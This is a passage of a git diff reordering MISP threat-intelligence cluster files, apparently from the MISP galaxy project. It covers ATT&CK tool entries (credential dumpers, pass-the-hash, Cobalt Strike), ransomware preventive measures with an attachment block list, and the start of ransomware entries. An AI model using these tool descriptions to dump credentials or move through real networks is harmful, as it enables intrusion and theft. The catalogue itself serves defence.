+ "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]\n\nAliases: ping.exe, Ping",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0097",
@@ -192,10 +193,10 @@
],
"uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47"
},
- "value": "Ping",
- "description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]\n\nAliases: ping.exe, Ping"
+ "value": "Ping"
},
{
+ "description": "Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0120",
@@ -203,10 +204,10 @@
],
"uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe"
},
- "value": "Fgdump",
- "description": "Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]"
+ "value": "Fgdump"
},
{
+ "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0121",
@@ -214,10 +215,10 @@
],
"uuid": "2fab555f-7664-4623-b4e0-1675ae38190b"
},
- "value": "Lslsass",
- "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]"
+ "value": "Lslsass"
},
{
+ "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0122",
@@ -225,10 +226,10 @@
],
"uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69"
},
- "value": "Pass-The-Hash Toolkit",
- "description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]"
+ "value": "Pass-The-Hash Toolkit"
},
{
+ "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]\n\nAliases: FTP, ftp.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0095",
@@ -240,10 +241,10 @@
],
"uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565"
},
- "value": "FTP",
- "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]\n\nAliases: FTP, ftp.exe"
+ "value": "FTP"
},
{
+ "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]\n\nAliases: ipconfig, ipconfig.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0100",
@@ -255,10 +256,10 @@
],
"uuid": "294e2560-bd48-44b2-9da2-833b5588ad11"
},
- "value": "ipconfig",
- "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]\n\nAliases: ipconfig, ipconfig.exe"
+ "value": "ipconfig"
},
{
+ "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]\n\nAliases: certutil, certutil.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0160",
@@ -270,10 +271,10 @@
],
"uuid": "3e205e84-9f90-4b4b-8896-c82189936a15"
},
- "value": "certutil",
- "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]\n\nAliases: certutil, certutil.exe"
+ "value": "certutil"
},
{
+ "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]\n\nAliases: nbtstat, nbtstat.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0102",
@@ -285,10 +286,10 @@
],
"uuid": "b35068ec-107a-4266-bda8-eb7036267aea"
},
- "value": "nbtstat",
- "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]\n\nAliases: nbtstat, nbtstat.exe"
+ "value": "nbtstat"
},
{
+ "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]\n\nAliases: HTRAN, HUC Packet Transmit Tool",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0040",
@@ -300,10 +301,10 @@
],
"uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e"
},
- "value": "HTRAN",
- "description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]\n\nAliases: HTRAN, HUC Packet Transmit Tool"
+ "value": "HTRAN"
},
{
+ "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]\n\nAliases: netstat, netstat.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0104",
@@ -315,10 +316,10 @@
],
"uuid": "4664b683-f578-434f-919b-1c1aad2a1111"
},
- "value": "netstat",
- "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]\n\nAliases: netstat, netstat.exe"
+ "value": "netstat"
},
{
+ "description": "pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0006",
@@ -326,10 +327,10 @@
],
"uuid": "9de2308e-7bed-43a3-8e58-f194b3586700"
},
- "value": "pwdump",
- "description": "pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]"
+ "value": "pwdump"
},
{
+ "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0119",
@@ -337,10 +338,10 @@
],
"uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52"
},
- "value": "Cachedump",
- "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]"
+ "value": "Cachedump"
},
{
+ "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for [[Discovery]], moving laterally through [[Windows admin shares]] using net use commands, and interacting with services.\n\nAliases: Net, net.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0039",
@@ -353,10 +354,10 @@
],
"uuid": "03342581-f790-4f03-ba41-e82e67392e23"
},
- "value": "Net",
- "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for [[Discovery]], moving laterally through [[Windows admin shares]] using net use commands, and interacting with services.\n\nAliases: Net, net.exe"
+ "value": "Net"
},
{
+ "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0029",
@@ -365,10 +366,10 @@
],
"uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db"
},
- "value": "PsExec",
- "description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]"
+ "value": "PsExec"
},
{
+ "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]\n\nAliases: Arp, arp.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0099",
@@ -380,10 +381,10 @@
],
"uuid": "30489451-5886-4c46-90c9-0dff9adc5252"
},
- "value": "Arp",
- "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]\n\nAliases: Arp, arp.exe"
+ "value": "Arp"
},
{
+ "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir[[Citation: TechNet Dir]]), deleting files (e.g., del[[Citation: TechNet Del]]), and copying files (e.g., copy[[Citation: TechNet Copy]]).\n\nAliases: cmd, cmd.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0106",
@@ -398,10 +399,10 @@
],
"uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e"
},
- "value": "cmd",
- "description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir[[Citation: TechNet Dir]]), deleting files (e.g., del[[Citation: TechNet Del]]), and copying files (e.g., copy[[Citation: TechNet Copy]]).\n\nAliases: cmd, cmd.exe"
+ "value": "cmd"
},
{
+ "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]\n\nThe list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics.",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0154",
@@ -409,10 +410,10 @@
],
"uuid": "3da22160-12d9-4d27-a99f-338e8de3844a"
},
- "value": "Cobalt Strike",
- "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]\n\nThe list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics."
+ "value": "Cobalt Strike"
},
{
+ "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]\n\nAliases: Reg, reg.exe",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0075",
@@ -425,9 +426,8 @@
],
"uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f"
},
- "value": "Reg",
- "description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]\n\nAliases: Reg, reg.exe"
+ "value": "Reg"
}
],
- "uuid": "d700dc5c-78f6-11e7-a476-5f748c8e4fe0"
+ "version": 4
}
diff --git a/clusters/preventive-measure.json b/clusters/preventive-measure.json
index fc7c62f..4dd6ba1 100644
--- a/clusters/preventive-measure.json
+++ b/clusters/preventive-measure.json
@@ -1,56 +1,65 @@
{
+ "authors": [
+ "Various"
+ ],
+ "description": "Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures.",
+ "name": "Preventive Measure",
+ "source": "MISP Project",
+ "type": "preventive-measure",
+ "uuid": "1a8e55eb-a0ff-425b-80e0-30df866f8f65",
"values": [
{
+ "description": "Make sure to have adequate backup processes on place and frequently test a restore of these backups.\n(Schrödinger's backup - it is both existent and non-existent until you've tried a restore",
"meta": {
- "refs": [
- "http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7."
- ],
"complexity": "Medium",
"effectiveness": "High",
"impact": "Low",
+ "refs": [
+ "http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7."
+ ],
"type": [
"Recovery"
]
},
- "value": "Backup and Restore Process",
- "description": "Make sure to have adequate backup processes on place and frequently test a restore of these backups.\n(Schrödinger's backup - it is both existent and non-existent until you've tried a restore",
- "uuid": "5f942376-ea5b-4b23-9c26-81d3aeba7fb4"
+ "uuid": "5f942376-ea5b-4b23-9c26-81d3aeba7fb4",
+ "value": "Backup and Restore Process"
},
{
+ "description": "Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes:\nA.) Open downloaded documents in 'Protected View'\nB.) Open downloaded documents and block all macros",
"meta": {
+ "complexity": "Low",
+ "effectiveness": "High",
+ "impact": "Low",
"refs": [
"https://support.office.com/en-us/article/Enable-or-disable-macros-in-Office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6?ui=en-US&rs=en-US&ad=US",
"https://www.404techsupport.com/2016/04/office2016-macro-group-policy/?utm_source=dlvr.it&utm_medium=twitter"
],
- "complexity": "Low",
- "effectiveness": "High",
- "impact": "Low",
"type": [
"GPO"
]
},
- "value": "Block Macros",
- "description": "Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes:\nA.) Open downloaded documents in 'Protected View'\nB.) Open downloaded documents and block all macros",
- "uuid": "79563662-8d92-4fd1-929a-9b8926a62685"
+ "uuid": "79563662-8d92-4fd1-929a-9b8926a62685",
+ "value": "Block Macros"
},
{
+ "description": "Disable Windows Script Host",
"meta": {
- "refs": [
- "http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html"
- ],
"complexity": "Low",
"effectiveness": "Medium",
"impact": "Medium",
+ "possible_issues": "Administrative VBS scripts on Workstations",
+ "refs": [
+ "http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Customization/DisableWindowsScriptingHostWSH.html"
+ ],
"type": [
"GPO"
- ],
- "possible_issues": "Administrative VBS scripts on Workstations"
+ ]
},
- "value": "Disable WSH",
- "description": "Disable Windows Script Host",
- "uuid": "e6df1619-f8b3-476c-b5cf-22b4c9e9dd7f"
+ "uuid": "e6df1619-f8b3-476c-b5cf-22b4c9e9dd7f",
+ "value": "Disable WSH"
},
{
+ "description": "Filter the following attachments on your mail gateway:\n.ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub",
"meta": {
"complexity": "Low",
"effectiveness": "Medium",
@@ -59,90 +68,90 @@
"Mail Gateway"
]
},
- "value": "Filter Attachments Level 1",
- "description": "Filter the following attachments on your mail gateway:\n.ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub",
- "uuid": "7055b72b-b113-4f93-8387-e6f58ce5fc92"
+ "uuid": "7055b72b-b113-4f93-8387-e6f58ce5fc92",
+ "value": "Filter Attachments Level 1"
},
{
+ "description": "Filter the following attachments on your mail gateway:\n(Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm",
"meta": {
"complexity": "Low",
"effectiveness": "High",
"impact": "High",
+ "possible_issues": "Office Communication with old versions of Microsoft Office files (.doc, .xls) ",
"type": [
"Mail Gateway"
- ],
- "possible_issues": "Office Communication with old versions of Microsoft Office files (.doc, .xls) "
+ ]
},
- "value": "Filter Attachments Level 2",
- "description": "Filter the following attachments on your mail gateway:\n(Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm",
- "uuid": "8c9bbbf5-a321-4eb1-8c03-a399a9687687"
+ "uuid": "8c9bbbf5-a321-4eb1-8c03-a399a9687687",
+ "value": "Filter Attachments Level 2"
},
{
+ "description": "Block all program executions from the %LocalAppData% and %AppData% folder",
"meta": {
+ "complexity": "Medium",
+ "effectiveness": "Medium",
+ "impact": "Medium",
+ "possible_issues": "Web embedded software installers",
"refs": [
"http://www.fatdex.net/php/2014/06/01/disable-exes-from-running-inside-any-user-appdata-directory-gpo/",
"http://www.thirdtier.net/ransomware-prevention-kit/"
],
- "complexity": "Medium",
- "effectiveness": "Medium",
- "impact": "Medium",
"type": [
"GPO"
- ],
- "possible_issues": "Web embedded software installers"
+ ]
},
- "value": "Restrict program execution",
- "description": "Block all program executions from the %LocalAppData% and %AppData% folder",
- "uuid": "6a234b1d-8e86-49c4-91d6-cc3be3d04f74"
+ "uuid": "6a234b1d-8e86-49c4-91d6-cc3be3d04f74",
+ "value": "Restrict program execution"
},
{
+ "description": "Set the registry key \"HideFileExt\" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. \"not_a_virus.pdf.exe\")",
"meta": {
- "refs": [
- "http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm"
- ],
"complexity": "Low",
"effectiveness": "Low",
"impact": "Low",
+ "refs": [
+ "http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm"
+ ],
"type": [
"User Assistence"
]
},
- "value": "Show File Extensions",
- "description": "Set the registry key \"HideFileExt\" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. \"not_a_virus.pdf.exe\")",
- "uuid": "5b911d46-66c8-4180-ab97-663a0868264e"
+ "uuid": "5b911d46-66c8-4180-ab97-663a0868264e",
+ "value": "Show File Extensions"
},
{
+ "description": "Enforce administrative users to confirm an action that requires elevated rights",
"meta": {
- "refs": [
- "https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx"
- ],
"complexity": "Low",
"effectiveness": "Medium",
"impact": "Low",
+ "possible_issues": "administrator resentment",
+ "refs": [
+ "https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx"
+ ],
"type": [
"GPO"
- ],
- "possible_issues": "administrator resentment"
+ ]
},
- "value": "Enforce UAC Prompt",
- "description": "Enforce administrative users to confirm an action that requires elevated rights",
- "uuid": "3f8c55db-611e-4831-b624-f9cbdc3b0e11"
+ "uuid": "3f8c55db-611e-4831-b624-f9cbdc3b0e11",
+ "value": "Enforce UAC Prompt"
},
{
+ "description": "Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.",
"meta": {
"complexity": "Medium",
"effectiveness": "Medium",
"impact": "Medium",
+ "possible_issues": "Higher administrative costs",
"type": [
"Best Practice"
- ],
- "possible_issues": "Higher administrative costs"
+ ]
},
- "value": "Remove Admin Privileges",
- "description": "Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.",
- "uuid": "168f94d3-4ffc-4ea6-8f2e-8ba699f0fef6"
+ "uuid": "168f94d3-4ffc-4ea6-8f2e-8ba699f0fef6",
+ "value": "Remove Admin Privileges"
},
{
+ "description": "Activate the Windows Firewall to restrict workstation to workstation communication",
"meta": {
"complexity": "Medium",
"effectiveness": "Low",
@@ -151,11 +160,11 @@
"Best Practice"
]
},
- "value": "Restrict Workstation Communication",
- "description": "Activate the Windows Firewall to restrict workstation to workstation communication",
- "uuid": "fb25c345-0cee-4ae7-ab31-c1c801cde1c2"
+ "uuid": "fb25c345-0cee-4ae7-ab31-c1c801cde1c2",
+ "value": "Restrict Workstation Communication"
},
{
+ "description": "Using sandbox that opens email attachments and removes attachments based on behavior analysis",
"meta": {
"complexity": "Medium",
"effectiveness": "High",
@@ -163,11 +172,11 @@
"Advanced Malware Protection"
]
},
- "value": "Sandboxing Email Input",
- "description": "Using sandbox that opens email attachments and removes attachments based on behavior analysis",
- "uuid": "7960740f-71a5-42db-8a1a-1c7ccbf83349"
+ "uuid": "7960740f-71a5-42db-8a1a-1c7ccbf83349",
+ "value": "Sandboxing Email Input"
},
{
+ "description": "Software that allows to control the execution of processes - sometimes integrated in Antivirus software\nFree: AntiHook, ProcessGuard, System Safety Monitor",
"meta": {
"complexity": "Medium",
"effectiveness": "Medium",
@@ -175,115 +184,106 @@
"3rd Party Tools"
]
},
- "value": "Execution Prevention",
- "description": "Software that allows to control the execution of processes - sometimes integrated in Antivirus software\nFree: AntiHook, ProcessGuard, System Safety Monitor",
- "uuid": "bfda0c9e-1303-4861-b028-e0506dd8861c"
+ "uuid": "bfda0c9e-1303-4861-b028-e0506dd8861c",
+ "value": "Execution Prevention"
},
{
+ "description": "Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer",
"meta": {
- "refs": [
- "https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/"
- ],
"complexity": "Low",
"effectiveness": "Medium",
"impact": "Medium",
+ "possible_issues": "Some extensions will have legitimate uses, e.g., .vbs for logon scripts.",
+ "refs": [
+ "https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-extensions/"
+ ],
"type": [
"GPO"
- ],
- "possible_issues": "Some extensions will have legitimate uses, e.g., .vbs for logon scripts."
+ ]
},
- "value": "Change Default \"Open With\" to Notepad",
- "description": "Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer",
- "uuid": "3b7bc1b2-e04f-4492-b3b1-87bb6701635b"
+ "uuid": "3b7bc1b2-e04f-4492-b3b1-87bb6701635b",
+ "value": "Change Default \"Open With\" to Notepad"
},
{
+ "description": "Server-side file screening with the help of File Server Resource Manager",
"meta": {
- "refs": [
- "http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm"
- ],
"complexity": "Low",
"effectiveness": "Medium",
"impact": "Low",
+ "refs": [
+ "http://jpelectron.com/sample/Info%20and%20Documents/Stop%20crypto%20badware%20before%20it%20ruins%20your%20day/1-PreventCrypto-Readme.htm"
+ ],
"type": [
"Monitoring"
]
},
- "value": "File Screening",
- "description": "Server-side file screening with the help of File Server Resource Manager",
- "uuid": "79769940-7cd2-4aaa-80da-b90c0372b898"
+ "uuid": "79769940-7cd2-4aaa-80da-b90c0372b898",
+ "value": "File Screening"
},
{
+ "description": "Block program executions (AppLocker)",
"meta": {
+ "complexity": "Medium",
+ "effectiveness": "Medium",
+ "impact": "Medium",
+ "possible_issues": "Configure & test extensively",
"refs": [
"https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx",
"http://social.technet.microsoft.com/wiki/contents/articles/5211.how-to-configure-applocker-group-policy-to-prevent-software-from-running.aspx"
],
- "complexity": "Medium",
- "effectiveness": "Medium",
- "impact": "Medium",
"type": [
"GPO"
- ],
- "possible_issues": "Configure & test extensively"
+ ]
},
- "value": "Restrict program execution #2",
- "description": "Block program executions (AppLocker)",
- "uuid": "feb6cddb-4182-4515-94dc-0eadffcdc098"
+ "uuid": "feb6cddb-4182-4515-94dc-0eadffcdc098",
+ "value": "Restrict program execution #2"
},
{
+ "description": "Detect and block exploitation techniques",
"meta": {
+ "complexity": "Medium",
+ "effectiveness": "Medium",
+ "impact": "Low",
"refs": [
"www.microsoft.com/emet",
"http://windowsitpro.com/security/control-emet-group-policy"
],
- "complexity": "Medium",
- "effectiveness": "Medium",
- "impact": "Low",
"type": [
"GPO"
]
},
- "value": "EMET",
- "description": "Detect and block exploitation techniques",
- "uuid": "5f0a749f-88f2-4e6e-8fd8-46307f8439f6"
+ "uuid": "5f0a749f-88f2-4e6e-8fd8-46307f8439f6",
+ "value": "EMET"
},
{
+ "description": "Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring",
"meta": {
- "refs": [
- "https://twitter.com/JohnLaTwC/status/799792296883388416"
- ],
"complexity": "Medium",
"effectiveness": "Low",
"impact": "Low",
+ "refs": [
+ "https://twitter.com/JohnLaTwC/status/799792296883388416"
+ ],
"type": [
"3rd Party Tools"
]
},
- "value": "Sysmon",
- "description": "Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring",
- "uuid": "1b1e5664-4250-459b-adbb-f0b33f64bf7e"
+ "uuid": "1b1e5664-4250-459b-adbb-f0b33f64bf7e",
+ "value": "Sysmon"
},
{
- "value": "Blacklist-phone-numbers",
"description": "Filter the numbers at phone routing level including PABX",
"meta": {
- "refs": [
- "https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat"
- ],
+ "complexity": "Low",
"effectiveness": "Medium",
"impact": "Medium",
- "complexity": "Low"
+ "refs": [
+ "https://wiki.freepbx.org/display/FPG/Blacklist+Module+User+Guide#BlacklistModuleUserGuide-ImportingorExportingaBlacklistinCSVFileFormat"
+ ]
},
- "uuid": "123e20c5-8f44-4de5-a183-6890788e5a81"
+ "uuid": "123e20c5-8f44-4de5-a183-6890788e5a81",
+ "value": "Blacklist-phone-numbers"
}
],
- "name": "Preventive Measure",
- "type": "preventive-measure",
- "source": "MISP Project",
- "authors": [
- "Various"
- ],
- "description": "Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures.",
- "uuid": "1a8e55eb-a0ff-425b-80e0-30df866f8f65",
"version": 3
}
diff --git a/clusters/ransomware.json b/clusters/ransomware.json
index 2b82c1b..ef4416e 100644
--- a/clusters/ransomware.json
+++ b/clusters/ransomware.json
@@ -3,290 +3,307 @@
"https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml",
"http://pastebin.com/raw/GHgpWjar"
],
+ "description": "Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar",
+ "name": "Ransomware",
+ "source": "Various",
+ "type": "ransomware",
+ "uuid": "10cf658b-5d32-4c4b-bb32-61760a640372",
"values": [
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html"
+ "date": "March 2017",
+ "encryption": "AES",
+ "extensions": [
+ "RANDOM 3 LETTERS ARE ADDED"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-OkiR6pVmYUw/WMFiLGPuJhI/AAAAAAAAEME/wccYzFDIzJYWKXVxaTQeB4vM-4X6h3atgCLcB/s1600/note-nhtnwcuf.gif"
],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html"
+ ]
+ },
+ "uuid": "81b4e3ac-aa83-4616-9899-8e19ee3bb78b",
+ "value": "Nhtnwcuf Ransomware (Fake)"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "March 2017",
"encryption": "AES",
"extensions": [
"RANDOM 3 LETTERS ARE ADDED"
],
- "date": "March 2017"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Nhtnwcuf Ransomware (Fake)",
- "uuid": "81b4e3ac-aa83-4616-9899-8e19ee3bb78b"
- },
- {
- "meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html",
- "https://twitter.com/jiriatvirlab/status/838779371750031360"
- ],
"ransomnotes": [
"https://1.bp.blogspot.com/-pSmSehFx0bI/WL8Rp7RoMHI/AAAAAAAAEKw/eyfsAjikl9sDHlcjdyQeRxZsLto4hxvGwCLcB/s1600/note-1-2.png"
],
- "encryption": "AES",
- "extensions": [
- "RANDOM 3 LETTERS ARE ADDED"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html",
+ "https://twitter.com/jiriatvirlab/status/838779371750031360"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoJacky Ransomware",
- "uuid": "a8187609-329a-4de0-bda7-7823314e7db9"
+ "uuid": "a8187609-329a-4de0-bda7-7823314e7db9",
+ "value": "CryptoJacky Ransomware"
},
{
+ "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html"
- ],
+ "date": "March 2017",
+ "encryption": "AES-128",
"ransomnotes": [
